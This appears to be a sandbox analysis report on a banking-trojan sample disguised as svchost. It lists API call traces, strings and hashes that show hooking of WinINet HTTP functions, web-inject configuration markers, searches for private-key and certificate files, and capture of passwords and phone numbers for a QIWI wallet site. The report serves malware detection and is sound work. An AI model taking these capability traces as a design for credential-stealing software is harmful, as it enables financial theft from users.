                                                                                                                                                                                                            Function 02C800B0 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 137libraryloadermemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Crypt32.dll,00000000,00000000,7622F550,00000000), ref: 02C800CE
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CertVerifyCertificateChainPolicy), ref: 02C800E4
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,00000006,00000040,?,76231620), ref: 02C800FC
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,00000006,?,?), ref: 02C8011E
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Wininet.dll,00000000,00000000), ref: 02C8012A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestA), ref: 02C80140
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 02C8015C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestExA), ref: 02C80178
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestExW), ref: 02C80194
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetQueryDataAvailable), ref: 02C801B0
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 02C801CC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetReadFileExA), ref: 02C801E8
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetReadFileExW), ref: 02C80204
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 02C80220
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$LibraryLoadProtectVirtual
                                                                                                                                                                                                            • String ID: CertVerifyCertificateChainPolicy$Crypt32.dll$HttpSendRequestA$HttpSendRequestExA$HttpSendRequestExW$HttpSendRequestW$InternetCloseHandle$InternetQueryDataAvailable$InternetReadFile$InternetReadFileExA$InternetReadFileExW$Wininet.dll
                                                                                                                                                                                                            • API String ID: 1705253364-835984666
                                                                                                                                                                                                            • Opcode ID: 0ea05016a823ce1192b41bd76d47603c3c2e7eb29b6b33b6f0fb218726745ecd
                                                                                                                                                                                                            • Instruction ID: d3d08d81a9f4b24674397dfb42814877a6d3e56e70194442aa7d9c041c26f86b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0ea05016a823ce1192b41bd76d47603c3c2e7eb29b6b33b6f0fb218726745ecd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9931C771BC031A35FA2276744C46FAF975E4F85F99F018534B803B2445DBA6E70989B8
                                                                                                                                                                                                            Function 02C8DA40 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 217filethreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,prv_key.pfx), ref: 02C8DA6D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31967), ref: 02C8DAAE
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31967), ref: 02C8DAE2
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,82C31967), ref: 02C8DAF7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8DB01
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8DB09
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8DB1A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8DB21
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8DB5B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C8DB68
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31967,02CBDAD8,02CBDAD9), ref: 02C8DBA9
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8DBE4
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8DBEE
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8DBF6
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8DC07
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8DC0E
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8DC4B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C8DC58
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8DE40,02CBDAD8,00000000,00000000), ref: 02C8DC8E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8DCA6
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8DCB7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$ErrorFileLast$BackslashCreate$AdminAttributesDeleteDirectoryFolderHandleMakeSystemUser$CloseInformationThread
                                                                                                                                                                                                            • String ID: 82C31967$pass.log$path.txt$prv_key.pfx
                                                                                                                                                                                                            • API String ID: 448721894-3876320564
                                                                                                                                                                                                            • Opcode ID: 400d5898fa59baa4187225590c2ebc197c0e41cae4a2fb2c7564df7c8e919a4f
                                                                                                                                                                                                            • Instruction ID: 8815aab9caae678beb954c7b7f2384fd36a2e34a63283f0a9db963741f17374a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 400d5898fa59baa4187225590c2ebc197c0e41cae4a2fb2c7564df7c8e919a4f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 24712871A406955FD7129F389C58BEABBE8EF85305F14C6D4E98BC7240DB70CA49CB90
                                                                                                                                                                                                            Function 00402F30 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 436commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.OLE32(00000000,00000000,?,?,76D6DB30), ref: 00402F40
                                                                                                                                                                                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00402F60
                                                                                                                                                                                                            • CoCreateInstance.OLE32(004043F0,00000000,00000001,004041E0,?), ref: 00402F87
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F9F
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402FBA
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402FD8
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402FF6
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0040307C
                                                                                                                                                                                                            • CreateFileMappingW.KERNEL32(?), ref: 00403082
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00403088
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0040308E
                                                                                                                                                                                                            • InterlockedDecrement.KERNEL32(004035B6), ref: 004030CD
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(00404EEC), ref: 00403276
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 0040329B
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 004032B9
                                                                                                                                                                                                              • Part of subcall function 00402E50: GetProcessHeap.KERNEL32(00000008,00000010,00000000,?,004030A1,00404ED8), ref: 00402E58
                                                                                                                                                                                                              • Part of subcall function 00402E50: HeapAlloc.KERNEL32(00000000,?,004030A1,00404ED8), ref: 00402E5F
                                                                                                                                                                                                              • Part of subcall function 00402E50: SysAllocString.OLEAUT32(004030A1), ref: 00402E80
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00403366
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0040336C
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00403372
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Variant$ClearInit$Alloc$CreateHeapInitializeString$DecrementFileInstanceInterlockedMappingProcessSecurity
                                                                                                                                                                                                            • String ID: cmd.exe$p=Dv
                                                                                                                                                                                                            • API String ID: 3029307448-1819144570
                                                                                                                                                                                                            • Opcode ID: ce624a195721d34df8c0ff0fb2f0b689a1a1700c9ed8d61842eb4ad22ab92356
                                                                                                                                                                                                            • Instruction ID: 9e23888bed06d8ec6237e29dc82f696ab5e76098d001fcea0e973b2596c5eb93
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ce624a195721d34df8c0ff0fb2f0b689a1a1700c9ed8d61842eb4ad22ab92356
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 64F10875E002199FCB00DFA8C884A9EBBB9FF88710F1581AAE914BB351D774AD01CF94
                                                                                                                                                                                                            Function 02C71000 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 156memorythreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,02C7149C,00000000,?), ref: 02C7101B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013,7622F570,?,02C7149C,00000000,?), ref: 02C7103E
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71045
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C71055
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,7622F570,?,02C7149C,00000000,?), ref: 02C71073
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,name.key,00000000,?,02C7149C,00000000,?), ref: 02C71093
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C906E0,00000000,00000000,00000000), ref: 02C710A3
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8F1B0,00000000,00000000,00000000), ref: 02C710D0
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,\secrets.key,?,?,02C7149C,00000000,?), ref: 02C710EC
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,sign.key,?,02C7149C,00000000,?), ref: 02C71102
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C911C0,00000000,00000000,00000000), ref: 02C7111B
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,02C7149C,00000000,?), ref: 02C7112F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71140
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02C7149C,00000000,?), ref: 02C71155
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71158
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02C7149C,00000000,?), ref: 02C71164
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71167
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$CreateProcessThread$ByteCharHandleMultiWide$AllocCloseFreeInformationValidatememset
                                                                                                                                                                                                            • String ID: \secrets.key$name.key$sign.key
                                                                                                                                                                                                            • API String ID: 3254303593-2345338882
                                                                                                                                                                                                            • Opcode ID: 280a4b6dda162144de4f81a873db4c6609517df138f10e60873049e03207b4b4
                                                                                                                                                                                                            • Instruction ID: 4ba0e2f269905619e1da183914577106412ee6c3aa111e834bdfd4dedbef0bba
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 280a4b6dda162144de4f81a873db4c6609517df138f10e60873049e03207b4b4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A741E731A401A17B9B326A665C8CEAB7B7CDFC6F94F088719F919A7040DB71C611C6B0
                                                                                                                                                                                                            Function 02C903A0 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 129stringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C903E9
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C903FC
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C9040F
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B11), ref: 02C9043D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B11), ref: 02C90473
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,82C31B11), ref: 02C90488
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C90492
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C9049A
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C904AB
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C904B2
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C904BF
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C90540,00000000,00000000,00000000), ref: 02C90508
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C90520
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90531
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Pathstrstr$BackslashCreateDirectoryErrorHandleLast$AdminCloseCurrentFolderInformationMakeSystemThreadUser
                                                                                                                                                                                                            • String ID: 82C31B11$GET $pass.txt$password=$phone=$w.qiwi.ru
                                                                                                                                                                                                            • API String ID: 554474407-2858001473
                                                                                                                                                                                                            • Opcode ID: edd3454b842262869fdc0c67ea75b0bb88a63f68ee895313ac0426a4e152f567
                                                                                                                                                                                                            • Instruction ID: 2a174f549657d50b6b9ead6a098b81d6fee8c9a1354c359d70f9939a41d377c1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: edd3454b842262869fdc0c67ea75b0bb88a63f68ee895313ac0426a4e152f567
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AD415931E4025D9BEF218E34AC5CBEB7BACAF81705F244698F88597140EB70D685CB95
                                                                                                                                                                                                            Function 02C8FA10 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 192memoryfilestringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B07,?,7693BF00), ref: 02C8FA40
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?,7693BF00), ref: 02C8FA81
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,7693BF00), ref: 02C8FA8B
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8FA93
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8FAA4
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,7693BF00), ref: 02C8FAAB
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,7693BF00), ref: 02C8FAEA
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?,?,7693BF00), ref: 02C8FAF7
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?,?,7693BF00), ref: 02C8FB40
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004,?,7693BF00), ref: 02C8FB5C
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,?,00000104,?,7693BF00), ref: 02C8FB79
                                                                                                                                                                                                              • Part of subcall function 02C97B50: GetProcessHeap.KERNEL32(00000008,00004070,?,00000000,75AF5CE0,?,02C82840,?), ref: 02C97B63
                                                                                                                                                                                                              • Part of subcall function 02C97B50: RtlAllocateHeap.NTDLL(00000000,?,02C82840,?), ref: 02C97B66
                                                                                                                                                                                                              • Part of subcall function 02C97B50: memset.MSVCRT ref: 02C97B7B
                                                                                                                                                                                                              • Part of subcall function 02C97B50: CreateFileA.KERNEL32(02C82840,40000000,00000003,00000000,00000002,00000080,00000000,?,02C82840,?), ref: 02C97BD2
                                                                                                                                                                                                              • Part of subcall function 02C97B50: GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97BF5
                                                                                                                                                                                                              • Part of subcall function 02C97B50: HeapValidate.KERNEL32(00000000,?,02C82840,?), ref: 02C97BF8
                                                                                                                                                                                                              • Part of subcall function 02C97B50: GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97C04
                                                                                                                                                                                                              • Part of subcall function 02C97B50: HeapFree.KERNEL32(00000000,?,02C82840,?), ref: 02C97C07
                                                                                                                                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,7693BF00), ref: 02C8FBA8
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B07,?,7693BF00), ref: 02C8FBC7
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000,?,7693BF00), ref: 02C8FC2B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?,?,7693BF00), ref: 02C8FC38
                                                                                                                                                                                                              • Part of subcall function 02C97CE0: LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,75AF5CE0), ref: 02C97D61
                                                                                                                                                                                                              • Part of subcall function 02C97CE0: _snprintf.MSVCRT ref: 02C97D7D
                                                                                                                                                                                                              • Part of subcall function 02C97CE0: FindFirstFileA.KERNEL32(00000000,?), ref: 02C97D8C
                                                                                                                                                                                                              • Part of subcall function 02C97CE0: LocalFree.KERNEL32(00000000), ref: 02C97D99
                                                                                                                                                                                                              • Part of subcall function 02C97CE0: wsprintfA.USER32 ref: 02C97DD8
                                                                                                                                                                                                              • Part of subcall function 02C97CE0: wsprintfA.USER32 ref: 02C97DE6
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$FreePathProcess$AllocAttributesBackslashCreateDirectoryErrorLastLocalVirtualwsprintf$AdminAllocateCurrentDeleteFindFirstFolderMakeModuleNameSystemUserValidate_snprintflstrcpynmemset
                                                                                                                                                                                                            • String ID: 82C31B07$\$inter.zip$path.txt
                                                                                                                                                                                                            • API String ID: 3271220685-1717531035
                                                                                                                                                                                                            • Opcode ID: 2cffffbe691cc65060450dcf91376301718293bd22c808996af54d038fe893d7
                                                                                                                                                                                                            • Instruction ID: 9bb7c9631274bbb94ac3368ab62ddaff185e6de9522194c02445509fab95a5b1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2cffffbe691cc65060450dcf91376301718293bd22c808996af54d038fe893d7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 036178309406855FDB22DB249CA8BFBBBE9AF85304F5086D8E989D7150DB70DA89CB50
                                                                                                                                                                                                            Function 02C811D0 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 104COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C81130: memset.MSVCRT ref: 02C81152
                                                                                                                                                                                                              • Part of subcall function 02C81130: GetParent.USER32(?), ref: 02C8115E
                                                                                                                                                                                                              • Part of subcall function 02C81130: GetWindowTextW.USER32(00000000,?,00000104), ref: 02C81175
                                                                                                                                                                                                              • Part of subcall function 02C81130: StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 02C81196
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD858,?,?), ref: 02C81206
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,00000000), ref: 02C81234
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,?), ref: 02C81248
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C81259
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8125F
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C81268
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C81279
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02C81283
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,keygrab), ref: 02C81295
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C812A0
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C812A6
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C812AE
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C812BF
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C812C6
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C812D3
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C81303
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD858,?), ref: 02C81323
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$ErrorLast$AdminAppendBackslashCreateCriticalDirectoryFolderMakeSectionSystemUser$EnterLeaveParentTextWindow_snprintfmemset
                                                                                                                                                                                                            • String ID: %02u.bmp$keygrab
                                                                                                                                                                                                            • API String ID: 2122597915-4222822809
                                                                                                                                                                                                            • Opcode ID: b9a95635331556032df9da3cc206f789a13c51217be5fcd1ae6ffc336ec44d82
                                                                                                                                                                                                            • Instruction ID: f38ad4d4ce2a83df3e94e43d01db13399269dc43d253f1200e0522f9340ea6d4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b9a95635331556032df9da3cc206f789a13c51217be5fcd1ae6ffc336ec44d82
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9531C2759402599BDB11EBB4DC48BDA77BCEF88305F088A94E589C3000DFB0DA96CF90
                                                                                                                                                                                                            Function 02C80240 Relevance: 31.8, APIs: 16, Strings: 5, Instructions: 275memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD840,00000000,00000000,75C39E60,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C80250
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000020,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C802B8
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C802BF
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C8033F
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C80359
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C80373
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C8038D
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C803B7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000020), ref: 02C803D4
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C803DB
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C80504
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8053C
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8053F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8054C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8054F
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD840,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C8055A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$strstr$Process$AllocCriticalSection$EnterFreeLeaveValidate
                                                                                                                                                                                                            • String ID: data_after$data_before$data_end$data_inject$set_url
                                                                                                                                                                                                            • API String ID: 2387113551-2328515424
                                                                                                                                                                                                            • Opcode ID: c16699b97f3a54a12fc46ee5ca0b546e22a85f7000ea06cbc45ceb26d375bcf5
                                                                                                                                                                                                            • Instruction ID: 862d923f2d4cfc4ddbe5a02576eeefa2444832840683b132483696eb5dc3c8e8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c16699b97f3a54a12fc46ee5ca0b546e22a85f7000ea06cbc45ceb26d375bcf5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7BA1E2719447419FDB22DF34C8947A6BFE5AF85308F14C6ACD88A8B242EB71D60DCB91
